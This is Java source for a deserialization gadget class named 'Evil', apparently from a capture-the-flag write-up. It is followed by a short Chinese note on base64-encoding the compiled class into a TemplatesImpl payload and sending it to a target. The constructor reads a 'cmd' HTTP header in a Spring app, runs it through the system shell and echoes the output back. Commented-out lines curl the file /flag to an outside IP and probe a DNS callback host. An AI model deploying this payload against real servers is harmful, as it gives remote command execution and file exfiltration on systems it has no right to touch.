import java.net.InetAddress;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil extends AbstractTranslet
{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Evil() throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
}
// String[] cmd = {"/bin/sh","-c","curl http://172.16.177.48:39555/ -F file=@/flag"};
// InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
// byte[] bcache = new byte[1024];
// int readSize = 0;
// try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){
// while ((readSize =in.read(bcache))!=-1){
// outputStream.write(bcache,0,readSize);
// }
// String result = outputStream.toString();
// InetAddress.getByName("1m22164l.ns.dns3.cf.").isReachable(3000);
// }
// }
//Runtime.getRuntime().exec("sh /tmp/feng");
//}
//catch (Exception ex) {
// ex.printStackTrace();
//}
然后javac编译成class，然后cat Evil.class|base64 -w 0，再把这段base64扔到上面的那个代码里面的byte[][] bytecodes = new byte[][]{base64.getDecoder().decode();，生成payload，然后打过去就回显了：
